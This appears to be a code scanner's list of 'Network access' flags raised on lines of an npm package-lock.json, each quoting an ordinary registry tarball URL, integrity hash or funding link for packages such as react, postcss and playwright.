    "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.577.0.tgz",
  • Network accessline 3090
    "node_modules/marked": {       "version": "14.0.0",       "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz",
  • Network accessline 3091
    "version": "14.0.0",       "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz",       "integrity": "sha512-uIj4+faQ+MgHgwUW1l2PsPglZLOLOT1uErt06dAPtx2kjteLAkbsd/0FiYg/MGS+i7ZKLb7w2WClxHkzOOuryQ==",
  • Network accessline 3092
    "resolved": "https://registry.npmjs.org/marked/-/marked-14.0.0.tgz",
  • Network accessline 3103
    "node_modules/merge2": {       "version": "1.4.1",       "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
  • Network accessline 3104
    "version": "1.4.1",       "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",       "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
  • Network accessline 3105
    "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
  • Network accessline 3113
    "node_modules/micromatch": {       "version": "4.0.8",       "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
  • Network accessline 3114
    "version": "4.0.8",       "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",       "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
  • Network accessline 3115
    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
  • Network accessline 3127
    "node_modules/minimatch": {       "version": "3.1.5",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
  • Network accessline 3128
    "version": "3.1.5",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",       "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
  • Network accessline 3129
    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
  • Network accessline 3140
    "node_modules/monaco-editor": {       "version": "0.55.1",       "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz",
  • Network accessline 3141
    "version": "0.55.1",       "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz",       "integrity": "sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==",
  • Network accessline 3142
    "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.55.1.tgz",
  • Network accessline 3151
    "node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 3152
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 3153
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 3158
    "node_modules/mz": {       "version": "2.7.0",       "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
  • Network accessline 3159
    "version": "2.7.0",       "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",       "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
  • Network accessline 3160
    "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
  • Network accessline 3170
    "node_modules/nanoid": {       "version": "3.3.19",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz",
  • Network accessline 3171
    "version": "3.3.19",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz",       "integrity": "sha512-Y2tUNy4ouw6tq5oDSKeQYGOyhkUBhNOcGV/02KC+6kd9eDGqdZd++mjMiIDilrBYvjEnCYvVtsuHCuP+okSfug==",
  • Network accessline 3172
    "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.19.tgz",
  • Network accessline 3176
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 3177
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 3178
    "url": "https://github.com/sponsors/ai"
  • Network accessline 3189
    "node_modules/natural-compare": {       "version": "1.4.0",       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
  • Network accessline 3190
    "version": "1.4.0",       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",       "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
  • Network accessline 3191
    "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
  • Network accessline 3196
    "node_modules/node-releases": {       "version": "2.0.57",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz",
  • Network accessline 3197
    "version": "2.0.57",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz",       "integrity": "sha512-kQK9LGGFiHtrWiNhZtA7Qbw17AQz+dmsEKODRIVTXA9+e5MS/2gZEBhYJt13GrAz5/IOZKddH/0Z3TP/Zgo+yw==",
  • Network accessline 3198
    "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz",
  • Network accessline 3206
    "node_modules/normalize-path": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
  • Network accessline 3207
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",       "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
  • Network accessline 3208
    "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
  • Network accessline 3216
    "node_modules/object-assign": {       "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 3217
    "version": "4.1.1",       "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",       "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
  • Network accessline 3218
    "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
  • Network accessline 3226
    "node_modules/object-hash": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
  • Network accessline 3227
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",       "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
  • Network accessline 3228
    "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
  • Network accessline 3236
    "node_modules/optionator": {       "version": "0.9.4",       "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
  • Network accessline 3237
    "version": "0.9.4",       "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",       "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==",
  • Network accessline 3238
    "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
  • Network accessline 3254
    "node_modules/p-limit": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
  • Network accessline 3255
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",       "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
  • Network accessline 3256
    "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
  • Network accessline 3265
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3266
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3267
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3270
    "node_modules/p-locate": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
  • Network accessline 3271
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",       "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
  • Network accessline 3272
    "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
  • Network accessline 3281
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3282
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 3283
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 3286
    "node_modules/parent-module": {       "version": "1.0.1",       "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
  • Network accessline 3287
    "version": "1.0.1",       "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",       "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
  • Network accessline 3288
    "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
  • Network accessline 3299
    "node_modules/path-exists": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
  • Network accessline 3300
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",       "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
  • Network accessline 3301
    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
  • Network accessline 3309
    "node_modules/path-key": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
  • Network accessline 3310
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",       "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
  • Network accessline 3311
    "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
  • Network accessline 3319
    "node_modules/path-parse": {       "version": "1.0.7",       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
  • Network accessline 3320
    "version": "1.0.7",       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",       "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
  • Network accessline 3321
    "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
  • Network accessline 3326
    "node_modules/picocolors": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 3327
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",       "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
  • Network accessline 3328
    "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 3333
    "node_modules/picomatch": {       "version": "2.3.1",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
  • Network accessline 3334
    "version": "2.3.1",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",       "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
  • Network accessline 3335
    "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
  • Network accessline 3341
    },       "funding": {         "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 3342
    "funding": {         "url": "https://github.com/sponsors/jonschlinkert"       }
  • Network accessline 3343
    "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 3346
    "node_modules/pify": {       "version": "2.3.0",       "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
  • Network accessline 3347
    "version": "2.3.0",       "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",       "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
  • Network accessline 3348
    "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
  • Network accessline 3356
    "node_modules/pirates": {       "version": "4.0.7",       "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
  • Network accessline 3357
    "version": "4.0.7",       "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",       "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
  • Network accessline 3358
    "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
  • Network accessline 3366
    "node_modules/playwright": {       "version": "1.63.0",       "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz",
  • Network accessline 3367
    "version": "1.63.0",       "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz",       "integrity": "sha512-+7ziBLidS4NaNCdt57SUDT+wYmmd5fmiQejUic/kb+YsYSCPyOOE9sebzMjNmQrsnNpDJqd4WHvV/8lfKfUDUg==",
  • Network accessline 3368
    "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz",
  • Network accessline 3382
    "node_modules/playwright-core": {       "version": "1.63.0",       "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz",
  • Network accessline 3383
    "version": "1.63.0",       "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz",       "integrity": "sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==",
  • Network accessline 3384
    "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz",
  • Network accessline 3395
    "node_modules/postcss": {       "version": "8.5.28",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz",
  • Network accessline 3396
    "version": "8.5.28",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz",       "integrity": "sha512-RRuzqDtt5Y9h3quz5hWhK+TPnsmVs6WwSU6LkJMeY4HstUEDuYTG8UJSdawMRzmzAtV+KEoG8N3Qg2qLy5vM/A==",
  • Network accessline 3397
    "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.28.tgz",
  • Network accessline 3401
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 3402
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 3403
    "url": "https://opencollective.com/postcss/"
  • Network accessline 3405
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 3406
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"         },
  • Network accessline 3407
    "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 3409
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 3410
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 3411
    "url": "https://github.com/sponsors/ai"
  • Network accessline 3424
    "node_modules/postcss-import": {       "version": "15.1.0",       "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
  • Network accessline 3425
    "version": "15.1.0",       "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",       "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
  • Network accessline 3426
    "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
  • Network accessline 3442
    "node_modules/postcss-js": {       "version": "4.1.0",       "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz",
  • Network accessline 3443
    "version": "4.1.0",       "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz",       "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==",
  • Network accessline 3444
    "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz",
  • Network accessline 3448
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 3449
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 3450
    "url": "https://opencollective.com/postcss/"
  • Network accessline 3452
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 3453
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 3454
    "url": "https://github.com/sponsors/ai"
  • Network accessline 3468
    "node_modules/postcss-load-config": {       "version": "6.0.1",       "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",
  • Network accessline 3469
    "version": "6.0.1",       "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",       "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==",
  • Network accessline 3470
    "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",
  • Network accessline 3474
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 3475
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 3476
    "url": "https://opencollective.com/postcss/"
  • Network accessline 3478
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 3479
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 3480
    "url": "https://github.com/sponsors/ai"
  • Network accessline 3511
    "node_modules/postcss-nested": {       "version": "6.2.0",       "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
  • Network accessline 3512
    "version": "6.2.0",       "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",       "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==",
  • Network accessline 3513
    "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
  • Network accessline 3517
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 3518
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 3519
    "url": "https://opencollective.com/postcss/"
  • Network accessline 3521
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 3522
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 3523
    "url": "https://github.com/sponsors/ai"
  • Network accessline 3537
    "node_modules/postcss-selector-parser": {       "version": "6.1.2",       "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
  • Network accessline 3538
    "version": "6.1.2",       "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",       "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIud
  • Network accessline 3539
    "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
  • Network accessline 3551
    "node_modules/postcss-value-parser": {       "version": "4.2.0",       "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
  • Network accessline 3552
    "version": "4.2.0",       "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",       "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
  • Network accessline 3553
    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
  • Network accessline 3558
    "node_modules/prelude-ls": {       "version": "1.2.1",       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
  • Network accessline 3559
    "version": "1.2.1",       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",       "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
  • Network accessline 3560
    "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
  • Network accessline 3568
    "node_modules/punycode": {       "version": "2.3.1",       "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
  • Network accessline 3569
    "version": "2.3.1",       "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",       "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
  • Network accessline 3570
    "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
  • Network accessline 3578
    "node_modules/queue-microtask": {       "version": "1.2.3",       "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
  • Network accessline 3579
    "version": "1.2.3",       "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",       "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
  • Network accessline 3580
    "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
  • Network accessline 3584
    {           "type": "github",           "url": "https://github.com/sponsors/feross"
  • Network accessline 3585
    "type": "github",           "url": "https://github.com/sponsors/feross"         },
  • Network accessline 3586
    "url": "https://github.com/sponsors/feross"
  • Network accessline 3588
    {           "type": "patreon",           "url": "https://www.patreon.com/feross"
  • Network accessline 3589
    "type": "patreon",           "url": "https://www.patreon.com/feross"         },
  • Network accessline 3590
    "url": "https://www.patreon.com/feross"
  • Network accessline 3592
    {           "type": "consulting",           "url": "https://feross.org/support"
  • Network accessline 3593
    "type": "consulting",           "url": "https://feross.org/support"         }
  • Network accessline 3594
    "url": "https://feross.org/support"
  • Network accessline 3599
    "node_modules/react": {       "version": "19.3.0",       "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz",
  • Network accessline 3600
    "version": "19.3.0",       "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz",       "integrity": "sha512-E8LUcbtBWt20bbl2YoHfx4ZDBdxVTfOKtCZn9cDSJ4l6/nuoApcpIBcj47t2wZoVX8g2ZHuMHbiShgCR1T5Sog==",
  • Network accessline 3601
    "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz",
  • Network accessline 3608
    "node_modules/react-dom": {       "version": "19.3.0",       "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz",
  • Network accessline 3609
    "version": "19.3.0",       "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz",       "integrity": "sha512-JDk8dgif51OjFoDE70+OT9ICyYr+69HlmihNwp1+Nsfbna3t5sIiCa9ZJktDmQ4/1b/rn26hIAR2uYXDMr5r0Q==",
  • Network accessline 3610
    "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.3.0.tgz",
  • Network accessline 3620
    "node_modules/react-refresh": {       "version": "0.17.0",       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
  • Network accessline 3621
    "version": "0.17.0",       "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",       "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==",
  • Network accessline 3622
    "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz",
  • Network accessline 3630
    "node_modules/react-resizable-panels": {       "version": "4.14.1",       "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz",
  • Network accessline 3631
    "version": "4.14.1",       "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz",       "integrity": "sha512-OB1bXDNTLcGgTTbaX6Dn5efZhlMboSnkfr1w4xpsJTHPEbRJpACBhXpgRCXozgPO1ztgFeZRUe5J3mFNCVKm5
  • Network accessline 3632
    "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-4.14.1.tgz",
  • Network accessline 3640
    "node_modules/react-router": {       "version": "7.18.4",       "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz",
  • Network accessline 3641
    "version": "7.18.4",       "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz",       "integrity": "sha512-PUPQcMhMGRAslLcvtlPz/kmzBEWPhLdgLFrL7pLNepBL6dX0lWj4WD2cUYVgYCuT3jxvghYFg81cDTj44DhetQ==",
  • Network accessline 3642
    "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.18.4.tgz",
  • Network accessline 3662
    "node_modules/react-router-dom": {       "version": "7.18.4",       "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz",
  • Network accessline 3663
    "version": "7.18.4",       "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz",       "integrity": "sha512-yrfmJHIpDG7taCpqKjT1G5B6q3O2K+RN8/fgNf0lTjCwiPbQ0ei6vXX9ZjQR+7ld8Tr7Z5xmyMnZ8YJrphWQUw==",
  • Network accessline 3664
    "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.18.4.tgz",
  • Network accessline 3678
    "node_modules/read-cache": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
  • Network accessline 3679
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",       "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
  • Network accessline 3680
    "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
  • Network accessline 3688
    "node_modules/readdirp": {       "version": "3.6.0",       "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
  • Network accessline 3689
    "version": "3.6.0",       "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",       "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
  • Network accessline 3690
    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
  • Network accessline 3701
    "node_modules/resolve": {       "version": "1.22.11",       "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz",
  • Network accessline 3702
    "version": "1.22.11",       "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz",       "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==",
  • Network accessline 3703
    "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz",
